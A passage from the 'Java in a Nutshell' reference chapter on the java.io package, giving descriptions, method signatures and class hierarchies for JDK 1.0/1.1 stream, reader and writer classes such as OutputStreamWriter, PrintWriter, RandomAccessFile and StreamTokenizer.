ByteArrayOutputStream, FileOutputStream, FilterOutputStream, ObjectOutputStream, PipedOutputStream

Passed To:

BufferedOutputStream(),
ByteArrayOutputStream.writeTo(),
CheckedOutputStream(),
DataOutputStream(),
DeflaterOutputStream(),
FilterOutputStream(),
GZIPOutputStream(),
ObjectOutputStream(),
OutputStreamWriter(),
PrintStream(),
PrintWriter(),
Properties.save(),
Runtime.getLocalizedOutputStream(),
ZipOutputStream()

Returned By:

Process.getOutputStream(),
Runtime.getLocalizedOutputStream(),
Socket.getOutputStream(),
SocketImpl.getOutputStream(),
URLConnection.getOutputStream()

Type Of:

FilterOutputStream.out

Previous | Home | Next
java.io.OptionalDataException (JDK 1.1) | Book Index | java.io.OutputStreamWriter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.47 java.io.OutputStreamWriter (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.47 java.io.OutputStreamWriter (JDK 1.1)

This class is a character output stream that uses a byte output stream as the destination for its data: when characters are written to an OutputStreamWriter, it translates them into bytes according to a particular locale- and/or platform-specific character encoding, and writes those bytes to the specified OutputStream. This is a very important internationalization feature in Java 1.1.

When you create an OutputStreamWriter, you specify the OutputStream to which it writes bytes, and you optionally specify the name of the character encoding that should be used to convert characters to bytes. If you do not specify an encoding name, the OutputStreamWriter uses the default encoding of the default locale, which is usually the correct thing to do.

OutputStreamWriter supports the usual Writer methods. It also has a getEncoding() method which returns the name of the encoding being used to convert characters to bytes.

public class OutputStreamWriter extends Writer {
    // Public Constructors
            public OutputStreamWriter(OutputStream out, String enc) throws UnsupportedEncodingException;
            public OutputStreamWriter(OutputStream out);
    // Public Instance Methods
            public void close() throws IOException;  // Defines Writer
            public void flush() throws IOException;  // Defines Writer
            public String getEncoding();
            public void write(int c) throws IOException;  // Overrides Writer
            public void write(char[] cbuf, int off, int len) throws IOException;  // Defines Writer
            public void write(String str, int off, int len) throws IOException;  // Overrides Writer
}

Hierarchy:

Object->Writer->OutputStreamWriter

Extended By:

FileWriter

Previous | Home | Next
java.io.OutputStream (JDK 1.0) | Book Index | java.io.PipedInputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.48 java.io.PipedInputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.48 java.io.PipedInputStream (JDK 1.0)

This class is an InputStream that implements one-half of a pipe, and is useful for communication between threads. A PipedInputStream must be connected to a PipedOutputStream object, which may be specified when the PipedInputStream is created or with the connect() method. Data read from a PipedInputStream object are received from the PipedOutputStream to which it is connected.

See InputStream for information on the low-level methods for reading data from a PipedInputStream. A FilterInputStream may be used to provide a higher-level interface for reading data from a PipedInputStream.

public class PipedInputStream extends InputStream {
    // Public Constructors
            public PipedInputStream(PipedOutputStream src) throws IOException;
            public PipedInputStream();
    // Constants
        1.1  protected static final int PIPE_SIZE;
    // Protected Instance Variables
        1.1  protected byte[] buffer;
        1.1  protected int in;
        1.1  protected int out;
    // Public Instance Methods
            public synchronized int available() throws IOException;  // Overrides InputStream
            public void close() throws IOException;  // Overrides InputStream
            public void connect(PipedOutputStream src) throws IOException;
            public synchronized int read() throws IOException;  // Defines InputStream
            public synchronized int read(byte[] b, int off, int len) throws IOException;  // Overrides InputStream
    // Protected Instance Methods
        1.1  protected synchronized void receive(int b) throws IOException;
}

Hierarchy:

Object->InputStream->PipedInputStream

Passed To:

PipedOutputStream(), PipedOutputStream.connect()

Previous | Home | Next
java.io.OutputStreamWriter (JDK 1.1) | Book Index | java.io.PipedOutputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.49 java.io.PipedOutputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.49 java.io.PipedOutputStream (JDK 1.0)

This class is an OutputStream that implements one half of a pipe, and is useful for communication between threads. A PipedOutputStream must be connected to a PipedInputStream, which may be specified when the PipedOutputStream is created or with the connect() method. Data written to the PipedOutputStream are available for reading on the PipedInputStream.

See OutputStream for information on the low-level methods for writing data to a PipedOutputStream. A FilterOutputStream may be used to provide a higher-level interface for writing data to a PipedOutputStream.

public class PipedOutputStream extends OutputStream {
    // Public Constructors
            public PipedOutputStream(PipedInputStream snk) throws IOException;
            public PipedOutputStream();
    // Public Instance Methods
            public void close() throws IOException;  // Overrides OutputStream
            public void connect(PipedInputStream snk) throws IOException;
            public synchronized void flush() throws IOException;  // Overrides OutputStream
            public void write(int b) throws IOException;  // Defines OutputStream
            public void write(byte[] b, int off, int len) throws IOException;  // Overrides OutputStream
}

Hierarchy:

Object->OutputStream->PipedOutputStream

Passed To:

PipedInputStream(), PipedInputStream.connect()

Previous | Home | Next
java.io.PipedInputStream (JDK 1.0) | Book Index | java.io.PipedReader (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.50 java.io.PipedReader (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.50 java.io.PipedReader (JDK 1.1)

PipedReader is a character input stream that reads characters from a PipedWriter character output stream to which it is connected. PipedReader implements one-half of a pipe, and is useful for communication between two threads of an application.

A PipedReader cannot be used until it is connected to a PipedWriter object, which may be passed to the PipedReader() constructor or to the connect() method.

PipedReader inherits most of the methods of its superclass. See Reader for more information.

PipedReader is the character stream analog of PipedInputStream.

public class PipedReader extends Reader {
    // Public Constructors
            public PipedReader();
            public PipedReader(PipedWriter src) throws IOException;
    // Public Instance Methods
            public void close() throws IOException;  // Defines Reader
            public void connect(PipedWriter src) throws IOException;
            public int read(char[] cbuf, int off, int len) throws IOException;  // Defines Reader
}

Hierarchy:

Object->Reader->PipedReader

Passed To:

PipedWriter(), PipedWriter.connect()

Previous | Home | Next
java.io.PipedOutputStream (JDK 1.0) | Book Index | java.io.PipedWriter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.51 java.io.PipedWriter (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.51 java.io.PipedWriter (JDK 1.1)

PipedWriter is a character output stream that writes characters to the PipedReader character input stream to which it is connected. PipedWriter implements one half of a pipe, and is useful for communication between two threads of an application.

A PipedWriter cannot be used until it is connected to a PipedReader object, which may be passed to the PipedWriter() constructor, or to the connect() method.

PipedWriter inherits most of the methods of its superclass. See Writer for more information.

PipedWriter is the character stream analog of PipedOutputStream.

public class PipedWriter extends Writer {
    // Public Constructors
            public PipedWriter();
            public PipedWriter(PipedReader sink) throws IOException;
    // Public Instance Methods
            public void close() throws IOException;  // Defines Writer
            public void connect(PipedReader sink) throws IOException;
            public void flush() throws IOException;  // Defines Writer
            public void write(char[] cbuf, int off, int len) throws IOException;  // Defines Writer
}

Hierarchy:

Object->Writer->PipedWriter

Passed To:

PipedReader(), PipedReader.connect()

Previous | Home | Next
java.io.PipedReader (JDK 1.1) | Book Index | java.io.PrintStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.52 java.io.PrintStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.52 java.io.PrintStream (JDK 1.0)

This class is a FilterOutputStream that implements a number of methods for displaying textual representation of Java primitive data types. The print() methods output a standard textual representation of each data type. The println() methods do the same, and follow that representation with a newline. The methods convert various Java primitive types to String representations and then output the resulting string. When an Object is passed to a print() or println(), it is converted to a String by calling its toString() method.

PrintStream is the OutputStream type that makes it easiest to output text. As such, it is the most commonly used of the output streams. The System.out variable is a PrintStream.

Note that in Java 1.0 this class does not handle Unicode characters correctly--it discards the top 8 bits of all 16-bit characters, and thus works only with Latin-1 (ISO8859-1) characters. Although this problem has been fixed in Java 1.1, PrintStream has been superseded in Java 1.1 with PrintWriter. The constructors of this class have been deprecated, but the class itself has not, because it is still used by the System.out and System.err standard output streams.

PrintStream and its PrintWriter replacement output textual representations of Java data types. Use DataOutputStream to output binary representations of data.

public class PrintStream extends FilterOutputStream {
    // Public Constructors
        #   public PrintStream(OutputStream out);
        #   public PrintStream(OutputStream out, boolean autoFlush);
    // Public Instance Methods
            public boolean checkError();
            public void close();  // Overrides FilterOutputStream
            public void flush();  // Overrides FilterOutputStream
            public void print(boolean b);
            public void print(char c);
            public void print(int i);
            public void print(long l);
            public void print(float f);
            public void print(double d);
            public void print(char[] s);
            public void print(String s);
            public void print(Object obj);
            public void println();
            public void println(boolean x);
            public void println(char x);
            public void println(int x);
            public void println(long x);
            public void println(float x);
            public void println(double x);
            public void println(char[] x);
            public void println(String x);
            public void println(Object x);
            public void write(int b);  // Overrides FilterOutputStream
            public void write(byte[] buf, int off, int len);  // Overrides FilterOutputStream
    // Protected Instance Methods
        1.1  protected void setError();
}

Hierarchy:

Object->OutputStream->FilterOutputStream->PrintStream

Passed To:

Component.list(),
Container.list(),
Properties.list(),
System.setErr(),
System.setOut(),
Throwable.printStackTrace()

Type Of:

System.err, System.out

Previous | Home | Next
java.io.PipedWriter (JDK 1.1) | Book Index | java.io.PrintWriter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.53 java.io.PrintWriter (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.53 java.io.PrintWriter (JDK 1.1)

This class is a character output stream that implements a number of print() and println() methods that output textual representations of primitive values and objects. When you create a PrintWriter object, you specify a character or byte output stream that it should write its characters to, and also optionally specify whether the PrintWriter stream should be automatically flushed whenever println() is called. If you specify a byte output stream as the destination, the PrintWriter() constructor automatically creates the necessary OutputStreamWriter object to convert characters to bytes using the default encoding.

PrintWriter implements the normal write(), flush(), and close() methods that all Writer subclasses do. It is more common to use the higher-level print() and println() methods, each of which converts its argument to a string before outputting it. println() has the additional behavior of terminating the line (and optionally flushing the buffer) after printing its argument.

The methods of PrintWriter never throw exceptions. Instead, when errors occur, they set an internal flag that you can check by calling checkError(). checkError() first flushes the internal stream, and then returns true if any exception has occurred while writing values to that stream. Once an error has occurred on a PrintWriter object, all subsequent calls to checkError() return true; there is no way to reset the error flag.

PrintWriter is the character stream analog to PrintStream, which it supersedes. You can usually trivially replace any PrintStream objects in a program with PrintWriter objects. This is particularly important for internationalized programs. The only valid remaining use for the PrintStream class is for the System.out and System.err standard output streams. See PrintStream for details.

public class PrintWriter extends Writer {
    // Public Constructors
            public PrintWriter(Writer out);
            public PrintWriter(Writer out, boolean autoFlush);
            public PrintWriter(OutputStream out);
            public PrintWriter(OutputStream out, boolean autoFlush);
    // Public Instance Methods
            public boolean checkError();
            public void close();  // Defines Writer
            public void flush();  // Defines Writer
            public void print(boolean b);
            public void print(char c);
            public void print(int i);
            public void print(long l);
            public void print(float f);
            public void print(double d);
            public void print(char[] s);
            public void print(String s);
            public void print(Object obj);
            public void println();
            public void println(boolean x);
            public void println(char x);
            public void println(int x);
            public void println(long x);
            public void println(float x);
            public void println(double x);
            public void println(char[] x);
            public void println(String x);
            public void println(Object x);
            public void write(int c);  // Overrides Writer
            public void write(char[] buf, int off, int len);  // Defines Writer
            public void write(char[] buf);  // Overrides Writer
            public void write(String s, int off, int len);  // Overrides Writer
            public void write(String s);  // Overrides Writer
    // Protected Instance Methods
            protected void setError();
}

Hierarchy:

Object->Writer->PrintWriter

Passed To:

Component.list(),
Container.list(),
Properties.list(),
Throwable.printStackTrace()

Previous | Home | Next
java.io.PrintStream (JDK 1.0) | Book Index | java.io.PushbackInputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.54 java.io.PushbackInputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.54 java.io.PushbackInputStream (JDK 1.0)

This class is a FilterInputStream that implements a one-byte pushback buffer or, in Java 1.1, a pushback buffer of a specified length. The unread() methods "push" bytes back into the stream--these bytes are the first ones read by the next call to a read() method. This class is sometimes useful when writing parsers.

See also PushbackReader.

public class PushbackInputStream extends FilterInputStream {
    // Public Constructors
        1.1  public PushbackInputStream(InputStream in, int size);
            public PushbackInputStream(InputStream in);
    // Protected Instance Variables
        1.1  protected byte[] buf;
        1.1  protected int pos;
    // Public Instance Methods
            public int available() throws IOException;  // Overrides FilterInputStream
            public boolean markSupported();  // Overrides FilterInputStream
            public int read() throws IOException;  // Overrides FilterInputStream
            public int read(byte[] b, int off, int len) throws IOException;  // Overrides FilterInputStream
            public void unread(int b) throws IOException;
        1.1  public void unread(byte[] b, int off, int len) throws IOException;
        1.1  public void unread(byte[] b) throws IOException;
}

Hierarchy:

Object->InputStream->FilterInputStream->PushbackInputStream

Previous | Home | Next
java.io.PrintWriter (JDK 1.1) | Book Index | java.io.PushbackReader (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.55 java.io.PushbackReader (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.55 java.io.PushbackReader (JDK 1.1)

This class is a character input stream that uses another input stream as its input source, and adds the ability to push characters back onto the stream. This feature is often useful when writing parsers.

When you create a PushbackReader stream, you specify the stream to be read from, and may optionally specify the size of the pushback buffer--i.e., the number of characters that may be pushed back onto the stream or "unread." If you do not specify a size for this buffer, the default size is one character.

PushbackReader inherits or overrides all the standard Reader methods, and also adds three unread() methods that are used to push a single character, an array of characters, or a portion of an array of characters back onto the stream.

This class is the character stream analog of PushbackInputStream.

public class PushbackReader extends FilterReader {
    // Public Constructors
            public PushbackReader(Reader in, int size);
            public PushbackReader(Reader in);
    // Public Instance Methods
            public void close() throws IOException;  // Overrides FilterReader
            public boolean markSupported();  // Overrides FilterReader
            public int read() throws IOException;  // Overrides FilterReader
            public int read(char[] cbuf, int off, int len) throws IOException;  // Overrides FilterReader
            public boolean ready() throws IOException;  // Overrides FilterReader
            public void unread(int c) throws IOException;
            public void unread(char[] cbuf, int off, int len) throws IOException;
            public void unread(char[] cbuf) throws IOException;
}

Hierarchy:

Object->Reader->FilterReader->PushbackReader

Previous | Home | Next
java.io.PushbackInputStream (JDK 1.0) | Book Index | java.io.RandomAccessFile (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.56 java.io.RandomAccessFile (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.56 java.io.RandomAccessFile (JDK 1.0)

This class allows reading and writing of arbitrary bytes, text, and primitive Java data types from or to any specified location in a file. Because this class provides random, rather than sequential, access to files, it is neither a subclass of InputStream nor of OutputStream, but provides an entirely independent method for reading and writing data from or to files. RandomAccessFile implements the same interfaces as DataInputStream and DataOutputStream, and thus defines the same methods for reading and writing data as those classes do.

The seek() method provides random access to the file--it is used to select the position in the file from which, or to which, data should be read or written. The mode argument to the constructor methods should be "r" for a file that is to be read-only, and "rw" for a file that is to be written (and perhaps read as well).

public class RandomAccessFile extends Object implements DataOutput, DataInput {
    // Public Constructors
            public RandomAccessFile(String name, String mode) throws IOException;
            public RandomAccessFile(File file, String mode) throws IOException;
    // Public Instance Methods
            public native void close() throws IOException;
            public final FileDescriptor getFD() throws IOException;
            public native long getFilePointer() throws IOException;
            public native long length() throws IOException;
            public native int read() throws IOException;
            public int read(byte[] b, int off, int len) throws IOException;
            public int read(byte[] b) throws IOException;
            public final boolean readBoolean() throws IOException;  // From DataInput
            public final byte readByte() throws IOException;  // From DataInput
            public final char readChar() throws IOException;  // From DataInput
            public final double readDouble() throws IOException;  // From DataInput
            public final float readFloat() throws IOException;  // From DataInput
            public final void readFully(byte[] b) throws IOException;  // From DataInput
            public final void readFully(byte[] b, int off, int len) throws IOException;  // From DataInput
            public final int readInt() throws IOException;  // From DataInput
            public final String readLine() throws IOException;  // From DataInput
            public final long readLong() throws IOException;  // From DataInput
            public final short readShort() throws IOException;  // From DataInput
            public final String readUTF() throws IOException;  // From DataInput
            public final int readUnsignedByte() throws IOException;  // From DataInput
            public final int readUnsignedShort() throws IOException;  // From DataInput
            public native void seek(long pos) throws IOException;
            public int skipBytes(int n) throws IOException;  // From DataInput
            public native void write(int b) throws IOException;  // From DataOutput
            public void write(byte[] b) throws IOException;  // From DataOutput
            public void write(byte[] b, int off, int len) throws IOException;  // From DataOutput
            public final void writeBoolean(boolean v) throws IOException;  // From DataOutput
            public final void writeByte(int v) throws IOException;  // From DataOutput
            public final void writeBytes(String s) throws IOException;  // From DataOutput
            public final void writeChar(int v) throws IOException;  // From DataOutput
            public final void writeChars(String s) throws IOException;  // From DataOutput
            public final void writeDouble(double v) throws IOException;  // From DataOutput
            public final void writeFloat(float v) throws IOException;  // From DataOutput
            public final void writeInt(int v) throws IOException;  // From DataOutput
            public final void writeLong(long v) throws IOException;  // From DataOutput
            public final void writeShort(int v) throws IOException;  // From DataOutput
            public final void writeUTF(String str) throws IOException;  // From DataOutput
}

Previous | Home | Next
java.io.PushbackReader (JDK 1.1) | Book Index | java.io.Reader (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.57 java.io.Reader (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.57 java.io.Reader (JDK 1.1)

This abstract class is the superclass of all character input streams. It is an analog to InputStream, which is the superclass of all byte input streams. Reader defines the basic methods that all character output streams provide.

read() returns a single character or an array (or subarray) of characters, blocking if necessary. It returns -1 if the end of the stream has been reached. ready() returns true if there are characters available for reading. If ready() returns true, the next call to read() is guaranteed not to block. close() closes the character input stream. skip() skips a specified number of characters in the input stream. If markSupported() returns true, then mark() "marks" a position in the stream and, if necessary, creates a look-ahead buffer of the specified size. Future calls to reset() restore the stream to the marked position, if they occur within the specified look-ahead limit. Note that not all stream types support this mark-and-reset functionality.

To create a subclass of Reader, you need only implement the three-argument version of read() and close(). Most subclasses implement additional methods as well, however.

public abstract class Reader extends Object {
    // Protected Constructors
            protected Reader();
            protected Reader(Object lock);
    // Protected Instance Variables
            protected Object lock;
    // Public Instance Methods
            public abstract void close() throws IOException;
            public void mark(int readAheadLimit) throws IOException;
            public boolean markSupported();
            public int read() throws IOException;
            public int read(char[] cbuf) throws IOException;
            public abstract int read(char[] cbuf, int off, int len) throws IOException;
            public boolean ready() throws IOException;
            public void reset() throws IOException;
            public long skip(long n) throws IOException;
}

Extended By:

BufferedReader, CharArrayReader, FilterReader, InputStreamReader, PipedReader, StringReader

Passed To:

BufferedReader(),
FilterReader(),
LineNumberReader(),
PushbackReader(),
StreamTokenizer()

Type Of:

FilterReader.in

Previous | Home | Next
java.io.RandomAccessFile (JDK 1.0) | Book Index | java.io.SequenceInputStream (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.58 java.io.SequenceInputStream (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.58 java.io.SequenceInputStream (JDK 1.0)

This class provides a way of seamlessly concatenating the data from two or more input streams. It provides an InputStream interface to a sequence of InputStream objects. Data are read from the streams in the order in which the streams are specified. When the end of one stream is reached, data are automatically read from the next stream. This class might be useful, for example, when implementing an "include file" facility for a parser of some sort.

public class SequenceInputStream extends InputStream {
    // Public Constructors
            public SequenceInputStream(Enumeration e);
            public SequenceInputStream(InputStream s1, InputStream s2);
    // Public Instance Methods
        1.1  public int available() throws IOException;  // Overrides InputStream
            public void close() throws IOException;  // Overrides InputStream
            public int read() throws IOException;  // Defines InputStream
            public int read(byte[] buf, int pos, int len) throws IOException;  // Overrides InputStream
}

Hierarchy:

Object->InputStream->SequenceInputStream

Previous | Home | Next
java.io.Reader (JDK 1.1) | Book Index | java.io.Serializable (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.59 java.io.Serializable (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.59 java.io.Serializable (JDK 1.1)

The Serializable interface defines no methods or constants. A class should implement this interface simply to indicate that it allows itself to be serialized and deserialized with ObjectOutputStream.writeObject() and ObjectInputStream.readObject().

Objects that need special handling during serialization or deserialization may implement one or both of the following methods. Note, however, that these methods are not part of the Serializable interface:

private void writeObject(java.io.ObjectOutputStream out)
                  throws IOException
private void readObject(java.io.ObjectInputStream in)
                    throws IOException, ClassNotFoundException;

Typically the writeObject() method performs any necessary cleanup or preparation for serialization, invokes the defaultWriteObject() method of the ObjectOutputStream to serialize the non-transient fields of the class, and then optionally writes any additional data that are required. Similarly, the readObject() method typically invokes the defaultReadObject() method of the ObjectInputStream, reads any additional data written by the corresponding writeObject() method, and finally performs any extra initialization required by the object. The readObject() method may also register an ObjectInputValidation object to validate the object once it is completely deserialized.

public interface Serializable {
}

Extended By:

Externalizable

Implemented By:

BitSet, Boolean, BorderLayout, BreakIterator, Calendar, CardLayout, Character, CheckboxGroup, Class, Collator, Color, Component, Cursor, Date, DateFormatSymbols, DecimalFormatSymbols, Dimension, Event, EventObject, File, FlowLayout, Font, FontMetrics, Format, GridBagConstraints, GridBagLayout, GridLayout, Hashtable, InetAddress, Insets, Locale, MediaTracker, MenuComponent, MenuShortcut, Number, ObjectStreamClass, Point, Polygon, PropertyChangeSupport, Random, Rectangle, String, StringBuffer, SystemColor, Throwable, TimeZone, URL, Vector, VetoableChangeSupport

Previous | Home | Next
java.io.SequenceInputStream (JDK 1.0) | Book Index | java.io.StreamCorruptedException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.60 java.io.StreamCorruptedException (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.60 java.io.StreamCorruptedException (JDK 1.1)

This exception signals that the data stream being read by an ObjectInputStream has been corrupted and does not contain valid serialized object data.

public class StreamCorruptedException extends ObjectStreamException {
    // Public Constructors
            public StreamCorruptedException(String reason);
            public StreamCorruptedException();
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->ObjectStreamException->StreamCorruptedException

Thrown By:

ObjectInputStream(), ObjectInputStream.readStreamHeader()

Previous | Home | Next
java.io.Serializable (JDK 1.1) | Book Index | java.io.StreamTokenizer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.61 java.io.StreamTokenizer (JDK 1.0)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.61 java.io.StreamTokenizer (JDK 1.0)

This class performs lexical analysis of a specified input stream and breaks the input up into tokens. It can be extremely useful when writing simple parsers.

nextToken() returns the next token in the stream--this is either one of the constants defined by the class (which represent end-of-file, end-of-line, a parsed floating-point number, and a parsed word) or a character value. pushBack() "pushes" the token back onto the stream, so that it is returned by the next call to nextToken(). The public variables sval and nval contain the string and numeric values (if applicable) of the most recently read token. They are applicable when the returned token is TT_WORD and TT_NUMBER. lineno() returns the current line number.

The remaining methods allow you to specify how tokens are recognized. wordChars() specifies a range of characters that should be treated as parts of words. whitespaceChars() specifies a range of characters that serve to delimit tokens. ordinaryChars() and ordinaryChar() specify characters that are never part of tokens and should be returned as-is. resetSyntax() makes all characters "ordinary." eolIsSignificant() specifies whether end-of-line is significant. If so, the TT_EOL constant is returned for end-of-lines. Otherwise they are treated as whitespace.

commentChar() specifies a character that begins a comment that lasts until the end of the line. No characters in the comment are returned. slashStarComments() and slashSlashComments() specify whether the StreamTokenizer should recognize C and C++-style comments. If so, no parts of the comments are returned as tokens. quoteChar() specifies a character used to delimit strings. When a string token is parsed, the quote character is returned as the token value, and the body of the string is stored in the sval variable. lowerCaseMode() specifies whether TT_WORD tokens should be converted to all lowercase characters before being stored in sval. parseNumbers() specifies that the StreamTokenizer should recognize and return double-precision floating-point number tokens.

public class StreamTokenizer extends Object {
    // Public Constructors
        #   public StreamTokenizer(InputStream is);
        1.1  public StreamTokenizer(Reader r);
    // Constants
            public static final int TT_EOF;
            public static final int TT_EOL;
            public static final int TT_NUMBER;
            public static final int TT_WORD;
    // Public Instance Variables
            public double nval;
            public String sval;
            public int ttype;
    // Public Instance Methods
            public void commentChar(int ch);
            public void eolIsSignificant(boolean flag);
            public int lineno();
            public void lowerCaseMode(boolean fl);
            public int nextToken() throws IOException;
            public void ordinaryChar(int ch);
            public void ordinaryChars(int low, int hi);
            public void parseNumbers();
            public void pushBack();
            public void quoteChar(int ch);
            public void resetSyntax();
            public void slashSlashComments(boolean flag);
            public void slashStarComments(boolean flag);
            public String toString();  // Overrides Object
            public void whitespaceChars(int low, int hi);
            public void wordChars(int low, int hi);
}

Previous | Home | Next
java.io.StreamCorruptedException (JDK 1.1) | Book Index | java.io.StringBufferInputStream (JDK 1.0; Deprecated.)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.62 java.io.StringBufferInputStream (JDK 1.0; Deprecated.)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.62 java.io.StringBufferInputStream (JDK 1.0; Deprecated.)

This class is a subclass of InputStream in which input bytes come from the characters of a specified String object.

This class does not correctly convert the characters of a StringBuffer into bytes, and is deprecated in Java 1.1. Use StringReader instead to correctly convert characters into bytes, or use ByteArrayInputStream to read bytes from an array of bytes.

public class StringBufferInputStream extends InputStream {
    // Public Constructor
            public StringBufferInputStream(String s);
    // Protected Instance Variables
            protected String buffer;
            protected int count;
            protected int pos;
    // Public Instance Methods
            public synchronized int available();  // Overrides InputStream
            public synchronized int read();  // Defines InputStream
            public synchronized int read(byte[] b, int off, int len);  // Overrides InputStream
            public synchronized void reset();  // Overrides InputStream
            public synchronized long skip(long n);  // Overrides InputStream
}

Hierarchy:

Object->InputStream->StringBufferInputStream

Previous | Home | Next
java.io.StreamTokenizer (JDK 1.0) | Book Index | java.io.StringReader (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.63 java.io.StringReader (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.63 java.io.StringReader (JDK 1.1)

This class is a character input stream that uses a String object as the source of the characters it returns. When you create a StringReader, you must specify the String that it is to read from.

StringReader defines the normal Reader methods, and supports mark() and reset(). If reset() is called before mark() has been called, the stream is reset to the beginning of the specified string.

StringReader is a character stream analog to StringBufferInputStream, which is deprecated in Java 1.1. StringReader is also similar to CharArrayReader.

public class StringReader extends Reader {
    // Public Constructor
            public StringReader(String s);
    // Public Instance Methods
            public void close();  // Defines Reader
            public void mark(int readAheadLimit) throws IOException;  // Overrides Reader
            public boolean markSupported();  // Overrides Reader
            public int read() throws IOException;  // Overrides Reader
            public int read(char[] cbuf, int off, int len) throws IOException;  // Defines Reader
            public boolean ready();  // Overrides Reader
            public void reset() throws IOException;  // Overrides Reader
            public long skip(long ns) throws IOException;  // Overrides Reader
}

Hierarchy:

Object->Reader->StringReader

Previous | Home | Next
java.io.StringBufferInputStream (JDK 1.0; Deprecated.) | Book Index | java.io.StringWriter (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.64 java.io.StringWriter (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.64 java.io.StringWriter (JDK 1.1)

This class is a character output stream that uses an internal StringBuffer object as the destination of the characters written to the stream. When you create a StringWriter, you may optionally specify an initial size for the StringBuffer, but you do not specify the StringBuffer itself--it is managed internally by the StringWriter, and grows as necessary to accommodate the characters written to it.

StringWriter defines the standard write(), flush(), and close() methods that all Writer subclasses do, and also defines two methods to obtain the characters that have been written into the stream's internal buffer. toString() returns the contents of the internal buffer as a String, and getBuffer() returns the buffer itself. Note that getBuffer() returns a reference to the actual internal buffer, not a copy of it, so any changes you make to the buffer are reflected in subsequent calls to toString().

StringWriter is quite similar to CharArrayWriter, but does not have a byte stream analog.

public class StringWriter extends Writer {
    // Public Constructor
            public StringWriter();
    // Protected Constructor
            protected StringWriter(int initialSize);
    // Public Instance Methods
            public void close();  // Defines Writer
            public void flush();  // Defines Writer
            public StringBuffer getBuffer();
            public String toString();  // Overrides Object
            public void write(int c);  // Overrides Writer
            public void write(char[] cbuf, int off, int len);  // Defines Writer
            public void write(String str);  // Overrides Writer
            public void write(String str, int off, int len);  // Overrides Writer
}

Hierarchy:

Object->Writer->StringWriter

Previous | Home | Next
java.io.StringReader (JDK 1.1) | Book Index | java.io.SyncFailedException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.65 java.io.SyncFailedException (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.65 java.io.SyncFailedException (JDK 1.1)

Signals that a call to FileDescriptor.sync() did not complete successfully.

public class SyncFailedException extends IOException {
    // Public Constructor
            public SyncFailedException(String desc);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->SyncFailedException

Thrown By:

FileDescriptor.sync()

Previous | Home | Next
java.io.StringWriter (JDK 1.1) | Book Index | java.io.UnsupportedEncodingException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 24] 24.66 java.io.UnsupportedEncodingException (JDK 1.1)

Java in a Nutshell

Previous Chapter 24
The java.io Package 		Next

24.66 java.io.UnsupportedEncodingException (JDK 1.1)

This exception signals that a requested character encoding is not supported by the current Java Virtual Machine.

public class UnsupportedEncodingException extends IOException {
    // Public Constructors
            public UnsupportedEncodingException();
            public UnsupportedEncodingException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->IOException->UnsupportedEncodingException

Thrown By:

